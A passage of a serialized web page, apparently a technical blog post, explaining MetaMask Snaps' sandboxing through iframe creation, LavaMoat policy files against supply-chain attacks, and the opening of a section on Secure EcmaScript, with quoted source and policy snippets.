const",{"type":23,"tag":314,"props":35439,"children":35440},{"style":338},[35441],{"type":28,"value":1242},{"type":23,"tag":314,"props":35443,"children":35444},{"style":360},[35445],{"type":28,"value":35446},"jobId",{"type":23,"tag":314,"props":35448,"children":35449},{"style":338},[35450],{"type":28,"value":35451}," } ",{"type":23,"tag":314,"props":35453,"children":35454},{"style":354},[35455],{"type":28,"value":1102},{"type":23,"tag":314,"props":35457,"children":35458},{"style":2284},[35459],{"type":28,"value":35460}," await",{"type":23,"tag":314,"props":35462,"children":35463},{"style":321},[35464],{"type":28,"value":34965},{"type":23,"tag":314,"props":35466,"children":35467},{"style":338},[35468],{"type":28,"value":282},{"type":23,"tag":314,"props":35470,"children":35471},{"style":332},[35472],{"type":28,"value":35473},"initJob",{"type":23,"tag":314,"props":35475,"children":35476},{"style":338},[35477],{"type":28,"value":341},{"type":23,"tag":314,"props":35479,"children":35480},{"style":360},[35481],{"type":28,"value":35408},{"type":23,"tag":314,"props":35483,"children":35484},{"style":338},[35485],{"type":28,"value":1025},{"type":23,"tag":314,"props":35487,"children":35488},{"class":316,"line":1452},[35489,35493,35497,35502,35506,35511,35515,35519,35523,35527,35531,35536,35540,35544],{"type":23,"tag":314,"props":35490,"children":35491},{"style":321},[35492],{"type":28,"value":35437},{"type":23,"tag":314,"props":35494,"children":35495},{"style":338},[35496],{"type":28,"value":1242},{"type":23,"tag":314,"props":35498,"children":35499},{"style":360},[35500],{"type":28,"value":35501},"worker",{"type":23,"tag":314,"props":35503,"children":35504},{"style":338},[35505],{"type":28,"value":778},{"type":23,"tag":314,"props":35507,"children":35508},{"style":360},[35509],{"type":28,"value":35510},"stream",{"type":23,"tag":314,"props":35512,"children":35513},{"style":338},[35514],{"type":28,"value":35451},{"type":23,"tag":314,"props":35516,"children":35517},{"style":354},[35518],{"type":28,"value":1102},{"type":23,"tag":314,"props":35520,"children":35521},{"style":2284},[35522],{"type":28,"value":35460},{"type":23,"tag":314,"props":35524,"children":35525},{"style":321},[35526],{"type":28,"value":34965},{"type":23,"tag":314,"props":35528,"children":35529},{"style":338},[35530],{"type":28,"value":282},{"type":23,"tag":314,"props":35532,"children":35533},{"style":332},[35534],{"type":28,"value":35535},"initEnvStream",{"type":23,"tag":314,"props":35537,"children":35538},{"style":338},[35539],{"type":28,"value":341},{"type":23,"tag":314,"props":35541,"children":35542},{"style":360},[35543],{"type":28,"value":35446},{"type":23,"tag":314,"props":35545,"children":35546},{"style":338},[35547],{"type":28,"value":1025},{"type":23,"tag":314,"props":35549,"children":35550},{"class":316,"line":1497},[35551],{"type":23,"tag":314,"props":35552,"children":35553},{"style":374},[35554],{"type":28,"value":35555}," // ...\n",{"type":23,"tag":314,"props":35557,"children":35558},{"class":316,"line":1539},[35559],{"type":23,"tag":314,"props":35560,"children":35561},{"style":338},[35562],{"type":28,"value":386},{"type":23,"tag":24,"props":35564,"children":35565},{},[35566,35567,35572,35574,35580],{"type":28,"value":92},{"type":23,"tag":94,"props":35568,"children":35570},{"className":35569},[],[35571],{"type":28,"value":35142},{"type":28,"value":35573}," registers message handlers that facilitate communication between Metamask and snaps within the iFrame. The ",{"type":23,"tag":94,"props":35575,"children":35577},{"className":35576},[],[35578],{"type":28,"value":35579},"${controllerName}:executeSnap",{"type":28,"value":35581}," handler triggers the snap execution process.",{"type":23,"tag":18130,"props":35583,"children":35585},{"id":35584},"step-by-step-execution-from-initialization-to-iframe-creation",[35586,35588],{"type":28,"value":35587},"Step-by-Step Execution: From Initialization to iFrame ",{"type":23,"tag":31,"props":35589,"children":35592},{"href":35590,"rel":35591},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-controllers/src/services/iframe/IframeExecutionService.ts#L31",[35],[35593],{"type":28,"value":35594},"creation",{"type":23,"tag":304,"props":35596,"children":35598},{"className":35179,"code":35597,"language":35181,"meta":7,"style":7},"protected async initEnvStream(jobId: string): Promise\u003C{\n worker: Window;\n stream: BasePostMessageStream;\n }> {\n const iframeWindow = await createWindow(this.iframeUrl.toString(), jobId);\n\n const stream = new WindowPostMessageStream({\n name: 'parent',\n target: 'child',\n targetWindow: iframeWindow,\n targetOrigin: '*',\n });\n\n return { worker: iframeWindow, stream };\n }\n",[35599],{"type":23,"tag":94,"props":35600,"children":35601},{"__ignoreMap":7},[35602,35651,35672,35693,35701,35765,35772,35800,35817,35834,35851,35868,35875,35882,35906],{"type":23,"tag":314,"props":35603,"children":35604},{"class":316,"line":317},[35605,35610,35615,35620,35624,35628,35632,35636,35641,35646],{"type":23,"tag":314,"props":35606,"children":35607},{"style":360},[35608],{"type":28,"value":35609},"protected",{"type":23,"tag":314,"props":35611,"children":35612},{"style":360},[35613],{"type":28,"value":35614}," async",{"type":23,"tag":314,"props":35616,"children":35617},{"style":332},[35618],{"type":28,"value":35619}," initEnvStream",{"type":23,"tag":314,"props":35621,"children":35622},{"style":338},[35623],{"type":28,"value":341},{"type":23,"tag":314,"props":35625,"children":35626},{"style":360},[35627],{"type":28,"value":35446},{"type":23,"tag":314,"props":35629,"children":35630},{"style":338},[35631],{"type":28,"value":14573},{"type":23,"tag":314,"props":35633,"children":35634},{"style":360},[35635],{"type":28,"value":28915},{"type":23,"tag":314,"props":35637,"children":35638},{"style":338},[35639],{"type":28,"value":35640},"): ",{"type":23,"tag":314,"props":35642,"children":35643},{"style":2674},[35644],{"type":28,"value":35645},"Promise",{"type":23,"tag":314,"props":35647,"children":35648},{"style":338},[35649],{"type":28,"value":35650},"\u003C{\n",{"type":23,"tag":314,"props":35652,"children":35653},{"class":316,"line":370},[35654,35659,35663,35668],{"type":23,"tag":314,"props":35655,"children":35656},{"style":360},[35657],{"type":28,"value":35658}," worker",{"type":23,"tag":314,"props":35660,"children":35661},{"style":354},[35662],{"type":28,"value":3746},{"type":23,"tag":314,"props":35664,"children":35665},{"style":2674},[35666],{"type":28,"value":35667}," Window",{"type":23,"tag":314,"props":35669,"children":35670},{"style":338},[35671],{"type":28,"value":2278},{"type":23,"tag":314,"props":35673,"children":35674},{"class":316,"line":380},[35675,35680,35684,35689],{"type":23,"tag":314,"props":35676,"children":35677},{"style":360},[35678],{"type":28,"value":35679}," stream",{"type":23,"tag":314,"props":35681,"children":35682},{"style":354},[35683],{"type":28,"value":3746},{"type":23,"tag":314,"props":35685,"children":35686},{"style":2674},[35687],{"type":28,"value":35688}," BasePostMessageStream",{"type":23,"tag":314,"props":35690,"children":35691},{"style":338},[35692],{"type":28,"value":2278},{"type":23,"tag":314,"props":35694,"children":35695},{"class":316,"line":1091},[35696],{"type":23,"tag":314,"props":35697,"children":35698},{"style":338},[35699],{"type":28,"value":35700}," }> {\n",{"type":23,"tag":314,"props":35702,"children":35703},{"class":316,"line":1141},[35704,35709,35714,35718,35722,35727,35731,35735,35739,35744,35748,35753,35757,35761],{"type":23,"tag":314,"props":35705,"children":35706},{"style":338},[35707],{"type":28,"value":35708}," const ",{"type":23,"tag":314,"props":35710,"children":35711},{"style":360},[35712],{"type":28,"value":35713},"iframeWindow",{"type":23,"tag":314,"props":35715,"children":35716},{"style":354},[35717],{"type":28,"value":1237},{"type":23,"tag":314,"props":35719,"children":35720},{"style":2284},[35721],{"type":28,"value":35460},{"type":23,"tag":314,"props":35723,"children":35724},{"style":332},[35725],{"type":28,"value":35726}," createWindow",{"type":23,"tag":314,"props":35728,"children":35729},{"style":338},[35730],{"type":28,"value":341},{"type":23,"tag":314,"props":35732,"children":35733},{"style":321},[35734],{"type":28,"value":16932},{"type":23,"tag":314,"props":35736,"children":35737},{"style":338},[35738],{"type":28,"value":282},{"type":23,"tag":314,"props":35740,"children":35741},{"style":360},[35742],{"type":28,"value":35743},"iframeUrl",{"type":23,"tag":314,"props":35745,"children":35746},{"style":338},[35747],{"type":28,"value":282},{"type":23,"tag":314,"props":35749,"children":35750},{"style":332},[35751],{"type":28,"value":35752},"toString",{"type":23,"tag":314,"props":35754,"children":35755},{"style":338},[35756],{"type":28,"value":17613},{"type":23,"tag":314,"props":35758,"children":35759},{"style":360},[35760],{"type":28,"value":35446},{"type":23,"tag":314,"props":35762,"children":35763},{"style":338},[35764],{"type":28,"value":1025},{"type":23,"tag":314,"props":35766,"children":35767},{"class":316,"line":1173},[35768],{"type":23,"tag":314,"props":35769,"children":35770},{"emptyLinePlaceholder":18},[35771],{"type":28,"value":1088},{"type":23,"tag":314,"props":35773,"children":35774},{"class":316,"line":1208},[35775,35779,35783,35787,35791,35796],{"type":23,"tag":314,"props":35776,"children":35777},{"style":338},[35778],{"type":28,"value":35708},{"type":23,"tag":314,"props":35780,"children":35781},{"style":360},[35782],{"type":28,"value":35510},{"type":23,"tag":314,"props":35784,"children":35785},{"style":354},[35786],{"type":28,"value":1237},{"type":23,"tag":314,"props":35788,"children":35789},{"style":321},[35790],{"type":28,"value":31180},{"type":23,"tag":314,"props":35792,"children":35793},{"style":332},[35794],{"type":28,"value":35795}," WindowPostMessageStream",{"type":23,"tag":314,"props":35797,"children":35798},{"style":338},[35799],{"type":28,"value":14382},{"type":23,"tag":314,"props":35801,"children":35802},{"class":316,"line":1216},[35803,35808,35813],{"type":23,"tag":314,"props":35804,"children":35805},{"style":360},[35806],{"type":28,"value":35807}," name:",{"type":23,"tag":314,"props":35809,"children":35810},{"style":1245},[35811],{"type":28,"value":35812}," 'parent'",{"type":23,"tag":314,"props":35814,"children":35815},{"style":338},[35816],{"type":28,"value":1870},{"type":23,"tag":314,"props":35818,"children":35819},{"class":316,"line":1301},[35820,35825,35830],{"type":23,"tag":314,"props":35821,"children":35822},{"style":360},[35823],{"type":28,"value":35824}," target:",{"type":23,"tag":314,"props":35826,"children":35827},{"style":1245},[35828],{"type":28,"value":35829}," 'child'",{"type":23,"tag":314,"props":35831,"children":35832},{"style":338},[35833],{"type":28,"value":1870},{"type":23,"tag":314,"props":35835,"children":35836},{"class":316,"line":1343},[35837,35842,35847],{"type":23,"tag":314,"props":35838,"children":35839},{"style":360},[35840],{"type":28,"value":35841}," targetWindow:",{"type":23,"tag":314,"props":35843,"children":35844},{"style":360},[35845],{"type":28,"value":35846}," iframeWindow",{"type":23,"tag":314,"props":35848,"children":35849},{"style":338},[35850],{"type":28,"value":1870},{"type":23,"tag":314,"props":35852,"children":35853},{"class":316,"line":1351},[35854,35859,35864],{"type":23,"tag":314,"props":35855,"children":35856},{"style":360},[35857],{"type":28,"value":35858}," targetOrigin:",{"type":23,"tag":314,"props":35860,"children":35861},{"style":1245},[35862],{"type":28,"value":35863}," '*'",{"type":23,"tag":314,"props":35865,"children":35866},{"style":338},[35867],{"type":28,"value":1870},{"type":23,"tag":314,"props":35869,"children":35870},{"class":316,"line":1387},[35871],{"type":23,"tag":314,"props":35872,"children":35873},{"style":338},[35874],{"type":28,"value":31504},{"type":23,"tag":314,"props":35876,"children":35877},{"class":316,"line":1422},[35878],{"type":23,"tag":314,"props":35879,"children":35880},{"emptyLinePlaceholder":18},[35881],{"type":28,"value":1088},{"type":23,"tag":314,"props":35883,"children":35884},{"class":316,"line":1430},[35885,35890,35894,35898,35902],{"type":23,"tag":314,"props":35886,"children":35887},{"style":338},[35888],{"type":28,"value":35889}," return { worker: ",{"type":23,"tag":314,"props":35891,"children":35892},{"style":360},[35893],{"type":28,"value":35713},{"type":23,"tag":314,"props":35895,"children":35896},{"style":338},[35897],{"type":28,"value":778},{"type":23,"tag":314,"props":35899,"children":35900},{"style":360},[35901],{"type":28,"value":35510},{"type":23,"tag":314,"props":35903,"children":35904},{"style":338},[35905],{"type":28,"value":1298},{"type":23,"tag":314,"props":35907,"children":35908},{"class":316,"line":1452},[35909],{"type":23,"tag":314,"props":35910,"children":35911},{"style":338},[35912],{"type":28,"value":5126},{"type":23,"tag":24,"props":35914,"children":35915},{},[35916,35918,35924,35926,35933],{"type":28,"value":35917},"Here the iframe is created via ",{"type":23,"tag":94,"props":35919,"children":35921},{"className":35920},[],[35922],{"type":28,"value":35923},"createWindow",{"type":28,"value":35925},", which is defined in snaps-utils ",{"type":23,"tag":31,"props":35927,"children":35930},{"href":35928,"rel":35929},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-utils/src/iframe.ts#L17",[35],[35931],{"type":28,"value":35932},"package",{"type":28,"value":3746},{"type":23,"tag":304,"props":35935,"children":35937},{"className":35179,"code":35936,"language":35181,"meta":7,"style":7},"const iframe = document.createElement('iframe');\n iframe.setAttribute('id', id);\n iframe.setAttribute('data-testid', 'snaps-iframe');\n\n if (sandbox) {\n iframe.setAttribute('sandbox', 'allow-scripts');\n }\n iframe.setAttribute('src', uri);\n document.body.appendChild(iframe);\n",[35938],{"type":23,"tag":94,"props":35939,"children":35940},{"__ignoreMap":7},[35941,35984,36022,36059,36066,36086,36124,36131,36168],{"type":23,"tag":314,"props":35942,"children":35943},{"class":316,"line":317},[35944,35948,35953,35957,35962,35966,35971,35975,35980],{"type":23,"tag":314,"props":35945,"children":35946},{"style":321},[35947],{"type":28,"value":346},{"type":23,"tag":314,"props":35949,"children":35950},{"style":360},[35951],{"type":28,"value":35952}," iframe",{"type":23,"tag":314,"props":35954,"children":35955},{"style":354},[35956],{"type":28,"value":1237},{"type":23,"tag":314,"props":35958,"children":35959},{"style":360},[35960],{"type":28,"value":35961}," document",{"type":23,"tag":314,"props":35963,"children":35964},{"style":338},[35965],{"type":28,"value":282},{"type":23,"tag":314,"props":35967,"children":35968},{"style":332},[35969],{"type":28,"value":35970},"createElement",{"type":23,"tag":314,"props":35972,"children":35973},{"style":338},[35974],{"type":28,"value":341},{"type":23,"tag":314,"props":35976,"children":35977},{"style":1245},[35978],{"type":28,"value":35979},"'iframe'",{"type":23,"tag":314,"props":35981,"children":35982},{"style":338},[35983],{"type":28,"value":1025},{"type":23,"tag":314,"props":35985,"children":35986},{"class":316,"line":370},[35987,35992,35996,36001,36005,36010,36014,36018],{"type":23,"tag":314,"props":35988,"children":35989},{"style":360},[35990],{"type":28,"value":35991}," iframe",{"type":23,"tag":314,"props":35993,"children":35994},{"style":338},[35995],{"type":28,"value":282},{"type":23,"tag":314,"props":35997,"children":35998},{"style":332},[35999],{"type":28,"value":36000},"setAttribute",{"type":23,"tag":314,"props":36002,"children":36003},{"style":338},[36004],{"type":28,"value":341},{"type":23,"tag":314,"props":36006,"children":36007},{"style":1245},[36008],{"type":28,"value":36009},"'id'",{"type":23,"tag":314,"props":36011,"children":36012},{"style":338},[36013],{"type":28,"value":778},{"type":23,"tag":314,"props":36015,"children":36016},{"style":360},[36017],{"type":28,"value":2742},{"type":23,"tag":314,"props":36019,"children":36020},{"style":338},[36021],{"type":28,"value":1025},{"type":23,"tag":314,"props":36023,"children":36024},{"class":316,"line":380},[36025,36029,36033,36037,36041,36046,36050,36055],{"type":23,"tag":314,"props":36026,"children":36027},{"style":360},[36028],{"type":28,"value":35991},{"type":23,"tag":314,"props":36030,"children":36031},{"style":338},[36032],{"type":28,"value":282},{"type":23,"tag":314,"props":36034,"children":36035},{"style":332},[36036],{"type":28,"value":36000},{"type":23,"tag":314,"props":36038,"children":36039},{"style":338},[36040],{"type":28,"value":341},{"type":23,"tag":314,"props":36042,"children":36043},{"style":1245},[36044],{"type":28,"value":36045},"'data-testid'",{"type":23,"tag":314,"props":36047,"children":36048},{"style":338},[36049],{"type":28,"value":778},{"type":23,"tag":314,"props":36051,"children":36052},{"style":1245},[36053],{"type":28,"value":36054},"'snaps-iframe'",{"type":23,"tag":314,"props":36056,"children":36057},{"style":338},[36058],{"type":28,"value":1025},{"type":23,"tag":314,"props":36060,"children":36061},{"class":316,"line":1091},[36062],{"type":23,"tag":314,"props":36063,"children":36064},{"emptyLinePlaceholder":18},[36065],{"type":28,"value":1088},{"type":23,"tag":314,"props":36067,"children":36068},{"class":316,"line":1141},[36069,36073,36077,36082],{"type":23,"tag":314,"props":36070,"children":36071},{"style":2284},[36072],{"type":28,"value":11527},{"type":23,"tag":314,"props":36074,"children":36075},{"style":338},[36076],{"type":28,"value":2324},{"type":23,"tag":314,"props":36078,"children":36079},{"style":360},[36080],{"type":28,"value":36081},"sandbox",{"type":23,"tag":314,"props":36083,"children":36084},{"style":338},[36085],{"type":28,"value":367},{"type":23,"tag":314,"props":36087,"children":36088},{"class":316,"line":1173},[36089,36094,36098,36102,36106,36111,36115,36120],{"type":23,"tag":314,"props":36090,"children":36091},{"style":360},[36092],{"type":28,"value":36093}," iframe",{"type":23,"tag":314,"props":36095,"children":36096},{"style":338},[36097],{"type":28,"value":282},{"type":23,"tag":314,"props":36099,"children":36100},{"style":332},[36101],{"type":28,"value":36000},{"type":23,"tag":314,"props":36103,"children":36104},{"style":338},[36105],{"type":28,"value":341},{"type":23,"tag":314,"props":36107,"children":36108},{"style":1245},[36109],{"type":28,"value":36110},"'sandbox'",{"type":23,"tag":314,"props":36112,"children":36113},{"style":338},[36114],{"type":28,"value":778},{"type":23,"tag":314,"props":36116,"children":36117},{"style":1245},[36118],{"type":28,"value":36119},"'allow-scripts'",{"type":23,"tag":314,"props":36121,"children":36122},{"style":338},[36123],{"type":28,"value":1025},{"type":23,"tag":314,"props":36125,"children":36126},{"class":316,"line":1208},[36127],{"type":23,"tag":314,"props":36128,"children":36129},{"style":338},[36130],{"type":28,"value":2610},{"type":23,"tag":314,"props":36132,"children":36133},{"class":316,"line":1216},[36134,36138,36142,36146,36150,36155,36159,36164],{"type":23,"tag":314,"props":36135,"children":36136},{"style":360},[36137],{"type":28,"value":35991},{"type":23,"tag":314,"props":36139,"children":36140},{"style":338},[36141],{"type":28,"value":282},{"type":23,"tag":314,"props":36143,"children":36144},{"style":332},[36145],{"type":28,"value":36000},{"type":23,"tag":314,"props":36147,"children":36148},{"style":338},[36149],{"type":28,"value":341},{"type":23,"tag":314,"props":36151,"children":36152},{"style":1245},[36153],{"type":28,"value":36154},"'src'",{"type":23,"tag":314,"props":36156,"children":36157},{"style":338},[36158],{"type":28,"value":778},{"type":23,"tag":314,"props":36160,"children":36161},{"style":360},[36162],{"type":28,"value":36163},"uri",{"type":23,"tag":314,"props":36165,"children":36166},{"style":338},[36167],{"type":28,"value":1025},{"type":23,"tag":314,"props":36169,"children":36170},{"class":316,"line":1301},[36171,36175,36179,36183,36187,36192,36196,36201],{"type":23,"tag":314,"props":36172,"children":36173},{"style":360},[36174],{"type":28,"value":33922},{"type":23,"tag":314,"props":36176,"children":36177},{"style":338},[36178],{"type":28,"value":282},{"type":23,"tag":314,"props":36180,"children":36181},{"style":360},[36182],{"type":28,"value":31647},{"type":23,"tag":314,"props":36184,"children":36185},{"style":338},[36186],{"type":28,"value":282},{"type":23,"tag":314,"props":36188,"children":36189},{"style":332},[36190],{"type":28,"value":36191},"appendChild",{"type":23,"tag":314,"props":36193,"children":36194},{"style":338},[36195],{"type":28,"value":341},{"type":23,"tag":314,"props":36197,"children":36198},{"style":360},[36199],{"type":28,"value":36200},"iframe",{"type":23,"tag":314,"props":36202,"children":36203},{"style":338},[36204],{"type":28,"value":1025},{"type":23,"tag":24,"props":36206,"children":36207},{},[36208],{"type":28,"value":36209},"This enables the iframe to be created with sandbox attributes, ensuring secure execution.",{"type":23,"tag":837,"props":36211,"children":36213},{"id":36212},"lavamoat-against-supply-chain-attacks-layer-2",[36214],{"type":28,"value":36215},"LavaMoat against Supply Chain Attacks - Layer 2",{"type":23,"tag":24,"props":36217,"children":36218},{},[36219],{"type":28,"value":36220},"Instances of software supply chain breaches occur when a malicious component infiltrates a developer's application. Subsequently, attackers exploit the component to extract critical information, such as private access keys. To safeguard against these issues, Metamask employs a tool called LavaMoat.",{"type":23,"tag":24,"props":36222,"children":36223},{},[36224,36226,36232],{"type":28,"value":36225},"Malicious dependencies might utilize built-in modules like ",{"type":23,"tag":94,"props":36227,"children":36229},{"className":36228},[],[36230],{"type":28,"value":36231},"fs",{"type":28,"value":36233},". Alternatively, they may inject malicious code into the npm package to target global objects, like the window and document. They might also include code that leverages XMLHttpRequest to make unauthorized requests to external servers, enabling the exfiltration of sensitive user information.",{"type":23,"tag":24,"props":36235,"children":36236},{},[36237],{"type":28,"value":36238},"In order to prevent this, Metamask Snaps use a Policy file provided by LavaMoat, that grants the platform API and the Globals access just to the essentials components. This limits the access to fields of powerful objects to corrupted dependencies.",{"type":23,"tag":24,"props":36240,"children":36241},{},[36242,36244,36251],{"type":28,"value":36243},"This is how a Policy file related to the iframes ",{"type":23,"tag":31,"props":36245,"children":36248},{"href":36246,"rel":36247},"https://github.com/MetaMask/snaps/blob/c5ddd897734f900f459c66a91f3334e76903825c/packages/snaps-execution-environments/lavamoat/browserify/iframe/policy.json#L49",[35],[36249],{"type":28,"value":36250},"looks",{"type":28,"value":3746},{"type":23,"tag":304,"props":36253,"children":36255},{"className":33244,"code":36254,"language":33246,"meta":7,"style":7},"\"@metamask/post-message-stream\": {\n \"globals\": {\n \"MessageEvent.prototype\": true,\n \"WorkerGlobalScope\": true,\n \"addEventListener\": true,\n \"browser\": true,\n \"chrome\": true,\n \"location.origin\": true,\n \"postMessage\": true,\n \"removeEventListener\": true\n },\n \"packages\": {\n \"@metamask/post-message-stream>@metamask/utils\": true,\n \"@metamask/post-message-stream>readable-stream\": true\n }\n }\n",[36256],{"type":23,"tag":94,"props":36257,"children":36258},{"__ignoreMap":7},[36259,36272,36284,36304,36324,36344,36364,36384,36404,36424,36441,36449,36461,36481,36497,36504],{"type":23,"tag":314,"props":36260,"children":36261},{"class":316,"line":317},[36262,36267],{"type":23,"tag":314,"props":36263,"children":36264},{"style":1245},[36265],{"type":28,"value":36266},"\"@metamask/post-message-stream\"",{"type":23,"tag":314,"props":36268,"children":36269},{"style":338},[36270],{"type":28,"value":36271},": {\n",{"type":23,"tag":314,"props":36273,"children":36274},{"class":316,"line":370},[36275,36280],{"type":23,"tag":314,"props":36276,"children":36277},{"style":360},[36278],{"type":28,"value":36279}," \"globals\"",{"type":23,"tag":314,"props":36281,"children":36282},{"style":338},[36283],{"type":28,"value":36271},{"type":23,"tag":314,"props":36285,"children":36286},{"class":316,"line":380},[36287,36292,36296,36300],{"type":23,"tag":314,"props":36288,"children":36289},{"style":360},[36290],{"type":28,"value":36291}," \"MessageEvent.prototype\"",{"type":23,"tag":314,"props":36293,"children":36294},{"style":338},[36295],{"type":28,"value":14573},{"type":23,"tag":314,"props":36297,"children":36298},{"style":321},[36299],{"type":28,"value":1481},{"type":23,"tag":314,"props":36301,"children":36302},{"style":338},[36303],{"type":28,"value":1870},{"type":23,"tag":314,"props":36305,"children":36306},{"class":316,"line":1091},[36307,36312,36316,36320],{"type":23,"tag":314,"props":36308,"children":36309},{"style":360},[36310],{"type":28,"value":36311}," \"WorkerGlobalScope\"",{"type":23,"tag":314,"props":36313,"children":36314},{"style":338},[36315],{"type":28,"value":14573},{"type":23,"tag":314,"props":36317,"children":36318},{"style":321},[36319],{"type":28,"value":1481},{"type":23,"tag":314,"props":36321,"children":36322},{"style":338},[36323],{"type":28,"value":1870},{"type":23,"tag":314,"props":36325,"children":36326},{"class":316,"line":1141},[36327,36332,36336,36340],{"type":23,"tag":314,"props":36328,"children":36329},{"style":360},[36330],{"type":28,"value":36331}," \"addEventListener\"",{"type":23,"tag":314,"props":36333,"children":36334},{"style":338},[36335],{"type":28,"value":14573},{"type":23,"tag":314,"props":36337,"children":36338},{"style":321},[36339],{"type":28,"value":1481},{"type":23,"tag":314,"props":36341,"children":36342},{"style":338},[36343],{"type":28,"value":1870},{"type":23,"tag":314,"props":36345,"children":36346},{"class":316,"line":1173},[36347,36352,36356,36360],{"type":23,"tag":314,"props":36348,"children":36349},{"style":360},[36350],{"type":28,"value":36351}," \"browser\"",{"type":23,"tag":314,"props":36353,"children":36354},{"style":338},[36355],{"type":28,"value":14573},{"type":23,"tag":314,"props":36357,"children":36358},{"style":321},[36359],{"type":28,"value":1481},{"type":23,"tag":314,"props":36361,"children":36362},{"style":338},[36363],{"type":28,"value":1870},{"type":23,"tag":314,"props":36365,"children":36366},{"class":316,"line":1208},[36367,36372,36376,36380],{"type":23,"tag":314,"props":36368,"children":36369},{"style":360},[36370],{"type":28,"value":36371}," \"chrome\"",{"type":23,"tag":314,"props":36373,"children":36374},{"style":338},[36375],{"type":28,"value":14573},{"type":23,"tag":314,"props":36377,"children":36378},{"style":321},[36379],{"type":28,"value":1481},{"type":23,"tag":314,"props":36381,"children":36382},{"style":338},[36383],{"type":28,"value":1870},{"type":23,"tag":314,"props":36385,"children":36386},{"class":316,"line":1216},[36387,36392,36396,36400],{"type":23,"tag":314,"props":36388,"children":36389},{"style":360},[36390],{"type":28,"value":36391}," \"location.origin\"",{"type":23,"tag":314,"props":36393,"children":36394},{"style":338},[36395],{"type":28,"value":14573},{"type":23,"tag":314,"props":36397,"children":36398},{"style":321},[36399],{"type":28,"value":1481},{"type":23,"tag":314,"props":36401,"children":36402},{"style":338},[36403],{"type":28,"value":1870},{"type":23,"tag":314,"props":36405,"children":36406},{"class":316,"line":1301},[36407,36412,36416,36420],{"type":23,"tag":314,"props":36408,"children":36409},{"style":360},[36410],{"type":28,"value":36411}," \"postMessage\"",{"type":23,"tag":314,"props":36413,"children":36414},{"style":338},[36415],{"type":28,"value":14573},{"type":23,"tag":314,"props":36417,"children":36418},{"style":321},[36419],{"type":28,"value":1481},{"type":23,"tag":314,"props":36421,"children":36422},{"style":338},[36423],{"type":28,"value":1870},{"type":23,"tag":314,"props":36425,"children":36426},{"class":316,"line":1343},[36427,36432,36436],{"type":23,"tag":314,"props":36428,"children":36429},{"style":360},[36430],{"type":28,"value":36431}," \"removeEventListener\"",{"type":23,"tag":314,"props":36433,"children":36434},{"style":338},[36435],{"type":28,"value":14573},{"type":23,"tag":314,"props":36437,"children":36438},{"style":321},[36439],{"type":28,"value":36440},"true\n",{"type":23,"tag":314,"props":36442,"children":36443},{"class":316,"line":1351},[36444],{"type":23,"tag":314,"props":36445,"children":36446},{"style":338},[36447],{"type":28,"value":36448}," },\n",{"type":23,"tag":314,"props":36450,"children":36451},{"class":316,"line":1387},[36452,36457],{"type":23,"tag":314,"props":36453,"children":36454},{"style":360},[36455],{"type":28,"value":36456}," \"packages\"",{"type":23,"tag":314,"props":36458,"children":36459},{"style":338},[36460],{"type":28,"value":36271},{"type":23,"tag":314,"props":36462,"children":36463},{"class":316,"line":1422},[36464,36469,36473,36477],{"type":23,"tag":314,"props":36465,"children":36466},{"style":360},[36467],{"type":28,"value":36468}," \"@metamask/post-message-stream>@metamask/utils\"",{"type":23,"tag":314,"props":36470,"children":36471},{"style":338},[36472],{"type":28,"value":14573},{"type":23,"tag":314,"props":36474,"children":36475},{"style":321},[36476],{"type":28,"value":1481},{"type":23,"tag":314,"props":36478,"children":36479},{"style":338},[36480],{"type":28,"value":1870},{"type":23,"tag":314,"props":36482,"children":36483},{"class":316,"line":1430},[36484,36489,36493],{"type":23,"tag":314,"props":36485,"children":36486},{"style":360},[36487],{"type":28,"value":36488}," \"@metamask/post-message-stream>readable-stream\"",{"type":23,"tag":314,"props":36490,"children":36491},{"style":338},[36492],{"type":28,"value":14573},{"type":23,"tag":314,"props":36494,"children":36495},{"style":321},[36496],{"type":28,"value":36440},{"type":23,"tag":314,"props":36498,"children":36499},{"class":316,"line":1452},[36500],{"type":23,"tag":314,"props":36501,"children":36502},{"style":338},[36503],{"type":28,"value":11912},{"type":23,"tag":314,"props":36505,"children":36506},{"class":316,"line":1497},[36507],{"type":23,"tag":314,"props":36508,"children":36509},{"style":338},[36510],{"type":28,"value":2610},{"type":23,"tag":24,"props":36512,"children":36513},{},[36514,36516,36522,36524,36530,36532,36538,36540,36546,36547,36553],{"type":28,"value":36515},"One crucial aspect of the policy, apart from the ",{"type":23,"tag":94,"props":36517,"children":36519},{"className":36518},[],[36520],{"type":28,"value":36521},"globals",{"type":28,"value":36523}," section, is the ",{"type":23,"tag":94,"props":36525,"children":36527},{"className":36526},[],[36528],{"type":28,"value":36529},"packages",{"type":28,"value":36531}," segment. This section permits the ",{"type":23,"tag":94,"props":36533,"children":36535},{"className":36534},[],[36536],{"type":28,"value":36537},"@metamask/post-message-stream",{"type":28,"value":36539},"package to exclusively interact with the package ",{"type":23,"tag":94,"props":36541,"children":36543},{"className":36542},[],[36544],{"type":28,"value":36545},"@metamask/utils",{"type":28,"value":557},{"type":23,"tag":94,"props":36548,"children":36550},{"className":36549},[],[36551],{"type":28,"value":36552},"readable-stream",{"type":28,"value":36554},". It ensures that interactions with potentially compromised packages are disallowed.",{"type":23,"tag":24,"props":36556,"children":36557},{},[36558,36560,36566],{"type":28,"value":36559},"LavaMoat additionally provides protection against prototype pollution attacks, since a malicious extension could use it to tamper with a legitimate function with arbitrary code. To safeguard against this, LavaMoat uses SES ",{"type":23,"tag":94,"props":36561,"children":36563},{"className":36562},[],[36564],{"type":28,"value":36565},"lockdown",{"type":28,"value":36567}," function to freeze all javascript builtins prototypes.",{"type":23,"tag":837,"props":36569,"children":36571},{"id":36570},"secure-ecmascript-ses-sandbox-layer-3",[36572],{"type":28,"value":36573},"Secure EcmaScript (SES) sandbox - Layer 3",{"type":23,"tag":24,"props":36575,"children":36576},{},[36577,36579,36586],{"type":28,"value":36578},"Within the iframe and after the lavamoat execution, the metamask sandbox uses the ",{"type":23,"tag":31,"props":36580,"children":36583},{"href":36581,"rel":36582},"https://github.com/endojs/endo/tree/master/packages/ses",[35],[36584],{"type":28,"value":36585},"Secure EcmaScript (SES)",{"type":28,"value":36587}," as a way to setup limits to the snap. Let's dig into how it works:",{"type":23,"tag":18130,"props":36589,"children":36591},{"id":36590},"ses-fundamentals",[36592],{"type":28,"value":36593},"SES 